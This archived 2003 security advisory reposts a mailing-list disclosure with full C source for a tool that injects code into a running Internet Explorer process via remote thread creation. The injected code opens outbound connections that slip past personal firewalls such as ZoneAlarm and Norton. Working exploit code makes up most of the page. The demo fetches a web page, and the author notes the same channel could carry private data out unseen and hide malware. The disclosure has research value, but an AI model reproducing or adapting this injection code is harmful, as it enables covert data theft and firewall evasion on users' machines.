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TUCoPS :: Windows Net Apps :: sb6012.htm

Bypassing Personal Firewalls with code injection , sample in C



22th Feb 2003 [SBWID-6012]
COMMAND

	Bypassing Personal Firewalls with code injection , sample in C

SYSTEMS AFFECTED

	Tested on :
	
	 ZoneAlarm Pro 3.5 (all settings at highest)
	 Zero-Knowledge Freedom Firewall
	 Look'n'Stop 2.04
	 Sygate Personal Firewall PRO (highest settings)
	 Norton Personal Firewall 2003 (highest settings)

PROBLEM

	xenophi1e [oliver.lavery@sympatico.ca] posted on securityfocus  vuln-dev
	mailing list :
	
	Here's a code snippet that injects code directly into a running  process
	without the need for a DLL etc. I  believe  that  it  demonstrates  that
	process boundaries under NT mean very little within  the  context  of  a
	given UID.
	
	This allows PFWs to be bypassed, as well as making it very easy to  hide
	running malicious code on a system. The example is a 'sploit that  makes
	a connection from within IE, and slips under the radar of all PFWs  I've
	tested.
	
	Having attempted to discuss this with PFW vendors, it doesn't appear  to
	be much of a concern to them; after almost two business weeks,  Symantec
	is the only company to have responded with  any  concern.  To  be  fair,
	this isn't remotely exploitable, and is fundamentally an issue with  how
	OSs are designed, not how PFWs work (although one might wonder  if  some
	of the claims made by PFW  vendors  are  really  ethical).  I  think  it
	illustrates  that  OpenProcess,  ptrace,  and  the  like  should  really
	enforce filesystem priviledges on  the  processes  they  can  modify.  I
	think that this is something that needs to be done proactively.
	
	The implication of allowing processes to modify each other this  way  is
	that PFWs can not be easily made secure, but also  that  malicious  code
	has nice support from windows  for  doing  some  very  bad  things.  For
	instance it would be a simple addition to  intercept  syscalls  made  by
	any process into which code can be injected, and in so  doing  hide  the
	presence of malicious activity from all local processes a user runs.
	
	Binary available at:
	
	 http://www3.sympatico.ca/oliver.lavery/za-hole.zip
	
	
	///////////////////////////////////////////////////////////////////
	// fw_bypass.cpp | thermite.exe
	///////////////////////////////////////////////////////////////////
	//
	// (C) 2003 Oliver Lavery
	//
	// This program establishes socket connections and transfers information 
	in a manner
	// which should be undetectable by all current personal firewall products.
	//
	// Tested on:
	//		Windows XP Professional SP1
	//		(should run on any NT variant)
	//
	// Known vulnerable:
	//		ZoneAlarm Pro 3.5 (all settings at highest)
	//		Zero-Knowledge Freedom Firewall
	//		Look'n'Stop 2.04
	//		Sygate Personal Firewall PRO (highest settings)
	//		Norton Personal Firewall 2003 (highest settings)
	//
	//		(should smoke 'em all)
	//
	
	////
	// Compile me with VC++ 98. Other compilers may work.
	//
	// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" 
	// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c 
	// (no stack checking, no "catch release errors in debug", no incremental 
	linking.
	//  they all break stuff here)
	
	
	#define WIN32_LEAN_AND_MEAN		// Exclude rarely-used stuff from 
	Windows headers
	
	#include <windows.h>
	#include <winsock2.h>
	#include <tlhelp32.h>
	
	//////////// Injected Code.//////////////
	
	// This code is a bit funky. The idea here is to write C in such a way 
	that it is relocatable
	// in the strictest sense of the word (can be passed accross process 
	boundaries at run-time).
	// To do this the injected code has to contain no static references to 
	symbols that reside at 
	// a fixed memory address. Also this part of the code is incompatable 
	with incremental linking, 
	// and stack checking.
	//
	// There's really no advantage to doing this in C rather than assembly 
	other than the
	// fact that it's cool. I wanted to see if it would be feasible to inject 
	C code for other, 
	// bigger projects.
	
	
	// NB, please excuse the Hungarian notiation. I hate it too. When in 
	Rome...
	
	//User32
	typedef int	(__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText, 
	LPCTSTR lpCaption, UINT uType ); 
	//Wsock32
	typedef SOCKET (__stdcall *func_socket)( int, int, int );
	typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
	typedef u_short (__stdcall *func_htons)( u_short ); 
	typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr 
	FAR*, int );
	typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
	typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int 
	flags );
	typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested, 
	LPWSADATA lpWSAData ); 
	 
	//Kernel32
	typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD, 
	LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); 
	typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD, 
	LPDWORD, LPOVERLAPPED ); 
	typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject ); 
	
	typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR ); 
	typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR ); 
	typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR ); 
	 
	
	typedef struct _tag_inj_info {
		func_GetModuleHandle GetModuleHandle; 
		func_GetProcAddress GetProcAddress; 
		func_LoadLibrary LoadLibrary;
		char szRequest[128];
		int  lRequest;
		char szFile[255];
		char szAddr[32];
		char szErrCmnt1[64];
		char szErrCmnt2[64];
		char szErrTitle1[64];
		char szErrTitle2[64];
		char szErrTitle3[64];
	// module names
		char szKernel32[32];
		char szUser32[32];
		char szWSock32[32];
	// func names
		char szMessageBox[32];
		char szSocket[32];
		char szInet_Addr[32];
		char szHtons[32];
		char szConnect[32];
		char szSend[32];
		char szRecv[32];
		char szCreateFile[32];
		char szWriteFile[32];
		char szCloseHandle[32];
		char szWSAStartup[32];
	} inj_info ;
	
	
	// Calls to the stack-checking routine must be disabled.
	// VC++ doesn't always obey this pragma
	#pragma check_stack(off)
	
	// This function runs in IE's address space
	static DWORD WINAPI ThreadFunc( inj_info *info ) 
	{
		HMODULE hKernel32, hWSock32, hUser32;
	
		// User32
		func_MessageBox l_MessageBox;
	
		// Winsock2
		func_WSAStartup l_WSAStartup;
		func_socket l_socket;
		func_inet_addr l_inet_addr;
		func_htons l_htons; 
		func_connect l_connect;
		func_send l_send;
		func_recv l_recv;
		  
		// Kernel32
		func_CreateFile l_CreateFile; 
		func_WriteFile l_WriteFile; 
		func_CloseHandle l_CloseHandle; 
	 
		// locals for actual functionality
		SOCKET s;
		SOCKADDR_IN sa;
		HANDLE outfile;
		char buf[255];
		DWORD count;
		DWORD read, wrote, error;
		BOOL needStartup;
		WSADATA foo;
		WORD wVersion;
	
		count = 0;
		wVersion = MAKEWORD( 2, 0 );
		needStartup = FALSE;
	
		// Dynamically bind API functions
	
		hUser32 = info->GetModuleHandle( info->szUser32 );
		if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
	>szUser32 );
		if (hUser32 == NULL) return 0;
		l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32, 
	info->szMessageBox );
	
		hKernel32 = info->GetModuleHandle( info->szKernel32 );
		if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
	>szKernel32 );
		if (hKernel32 == NULL) {
			l_MessageBox( NULL, info->szKernel32, info->szErrTitle3, 
	MB_OK );
			return 0;
		}
		l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32, 
	info->szCreateFile );
		l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32, 
	info->szWriteFile );
		l_CloseHandle = (func_CloseHandle)info->GetProcAddress( 
	hKernel32, info->szCloseHandle );
	
	
		hWSock32 = info->GetModuleHandle( info->szWSock32 );
		if (hWSock32  == NULL) {
			needStartup = TRUE;
			hWSock32 = info->LoadLibrary( info->szWSock32 );
		}
		if (hWSock32  == NULL) {
			l_MessageBox( NULL, info->szWSock32, info->szErrTitle3, 
	MB_OK );
			return 0;
		}
		l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32, 
	info->szWSAStartup );
		l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
	>szSocket );
		l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32, 
	info->szInet_Addr );
		l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
	>szHtons );
		l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
	>szConnect );
		l_send = (func_send)info->GetProcAddress( hWSock32, info-
	>szSend );
		l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
	>szRecv );
	
		// Ok. Do stuff.
	
		if ( needStartup )
		{
			l_WSAStartup(2, &foo);
		}
		s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
		
		sa.sin_family = AF_INET;
		sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
		sa.sin_port = l_htons(80);
	
		if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
			outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0, 
	NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
			if ( outfile != INVALID_HANDLE_VALUE ) {
				l_send( s, info->szRequest, info->lRequest, 0);
				while ( read = l_recv( s, buf, 255, 0 ) ) {
					l_WriteFile( outfile, buf, read, &wrote, 
	NULL );
				}
				l_CloseHandle( outfile );
			} else {
				l_MessageBox( NULL, info->szErrCmnt1, info-
	>szErrTitle1, MB_OK );
			}
		} else {
			l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2, 
	MB_OK );
		}
		return 0;
		// XXX forgot to close the socket.
	}
	
	static void AfterThreadFunc (void) {
	}
	
	#pragma check_stack 
	
	///////// "Normal" Code /////////////
	
	void ErrorNotify(DWORD err, char *title)
	{
	
		LPVOID lpMsgBuf;
	
		FormatMessage( 
			FORMAT_MESSAGE_ALLOCATE_BUFFER | 
	FORMAT_MESSAGE_FROM_SYSTEM,
			NULL,
			err,
			MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default 
	language
			(LPTSTR) &lpMsgBuf,
			0,
		    NULL 
		);
	
	// Display the string.
		MessageBox( NULL, (char *)lpMsgBuf, title, 
	MB_OK|MB_ICONINFORMATION );
	
	// Free the buffer.
		LocalFree( lpMsgBuf );
	};
	
	// Bits of this function are from M$ Research's Detours library.
	// A great resource for ways to do 3vi1 stuff on windows, btw.
	static BOOL InjectExploit(HANDLE hProcess)
	{
		BOOL fSucceeded = FALSE;
	
		// The address where code will be copied to in the remote process.
		PDWORD pdwCodeRemote = NULL;
	
		// Calculate the number of bytes in the ThreadFunc function.
		const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) 
	ThreadFunc);
	
		// The address where InjLibInfo will be copied to in the remote 
	process.
		inj_info *pInjLibInfoRemote = NULL;
	
		// The number of bytes written to the remote process.
		DWORD dwNumBytesXferred = 0;
	
		// The handle and Id of the thread executing the remote copy of 
	ThreadFunc.
		DWORD dwThreadId = 0;
		const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
		HANDLE hThread = NULL;
	
		DWORD dwOldProtect;
	
		inj_info info = {
	// functions used to run-time link. (always at same addresses on windows)
			NULL, // GetModuleHandle
			NULL, // GetProcAddress
			NULL, // LoadLibrary
	//// initialized data
			"GET / HTTP/1.0\n\n\n",
			strlen("GET / HTTP/1.0\n\n\n"),
			"",
			"205.206.231.12",
			"Can't create file",
			"Can't connect to securityfocus",
			"File Error",
			"Socket Error",
			"Linking Error",
	// module names
			"kernel32.dll",
			"user32.dll",
			"wsock32.dll",
	// func names
			"MessageBoxA",
			"socket",
			"inet_addr",
			"htons",
			"connect",
			"send",
			"recv",
			"CreateFileA",
			"WriteFile",
			"CloseHandle",
			"WSAStartup"
		};
	
		GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
		strcat( info.szFile, "\\securityfocus.html");
	
		HMODULE hKernel32;
		hKernel32 = GetModuleHandle( "kernel32.dll" );
		info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress( 
	hKernel32, "GetModuleHandleA" );
		info.GetProcAddress = (func_GetProcAddress)GetProcAddress( 
	hKernel32, "GetProcAddress" );
		info.LoadLibrary = (func_LoadLibrary)GetProcAddress( 
	hKernel32, "LoadLibraryA" );
	
		// Allocate memory in the remote process's address space large 
		// enough to hold our ThreadFunc function and a inj_info 
	structure.
		pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
										
		   MEM_COMMIT | MEM_TOP_DOWN,
	                                           PAGE_EXECUTE_READWRITE);
		if (pdwCodeRemote == NULL) {
			MessageBox( NULL, "IE not running. Please run IE, load a 
	page, and re-run this exploit.", "Can't find process", MB_OK);
			ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
			goto finish;
		}
	    
		// Change the page protection of the allocated memory
		// to executable, read, and write.
		if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
							  PAGE_EXECUTE_READWRITE, 
	&dwOldProtect)) {
			ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
			goto finish;
		}
	
		// Write a copy of ThreadFunc to the remote process.
		if (!WriteProcessMemory(hProcess, pdwCodeRemote,
								(LPVOID) 
	ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
			ErrorNotify( GetLastError(), "WriteProcessMemory 
	Failed" );
			goto finish;
		}
	
		// Write a copy of inj_info to the remote process
		// (the structure MUST start on an even 32-bit boundary).
		pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) + 
	((cbCodeSize + 4) & ~3));
	
		// Put inj_info in remote thread's memory block.
		if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
								&info, sizeof
	(info), &dwNumBytesXferred)) {
			ErrorNotify( GetLastError(), "WriteProcessMemory2 
	Failed" );
			goto finish;
		}
	
	    if ((hThread = CreateRemoteThread(hProcess, NULL, 65536, 
	                                      (LPTHREAD_START_ROUTINE) 
	pdwCodeRemote,
	                                      pInjLibInfoRemote, 0, &dwThreadId)) 
	== NULL) {
		ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
	        goto finish;
	    }
	        	
		fSucceeded = TRUE;
		
	  finish:
		if (hThread != NULL)
			CloseHandle(hThread);
	
		if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should 
	now contain the results of an HTTP request which in theory could have 
	transmitted your private information to a third party.\n"
			"If you did not see a firewall warning, your firewall did 
	not detect the request and is vulnerable to this exploit."
			, "Success", MB_OK );
		return fSucceeded;
	}
	
	// There is no real reason to target IE, other than most users have it 
	running a lot, and it
	// is usually allowed to bypass PFWs. Note that using the same technique 
	it would be easy to inject
	// code to run a server inside another process as well, but IE is not 
	normally allowed to do this
	
	// XXX there are better ways to get a PID.
	DWORD GetIEProcessID( void )
	{
		HANDLE hSnap;
		PROCESSENTRY32 ppe;
	
		hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
		ppe.dwSize = sizeof( PROCESSENTRY32 );
		Process32First( hSnap, &ppe );
		while ( 1 ) {
			if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return 
	ppe.th32ProcessID;
			if ( !Process32Next( hSnap, &ppe ) ) break;
		}
		CloseHandle( hSnap );
		return FALSE;
	}
	 
	
	int APIENTRY WinMain(HINSTANCE hInstance,
	                     HINSTANCE hPrevInstance,
	                     LPSTR     lpCmdLine,
	                     int       nCmdShow)
	{
		DWORD dwIE_PID = GetIEProcessID();
		HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
	// XYZZY!
		InjectExploit( hIE );
		return 0;
	}
	

SOLUTION

	?


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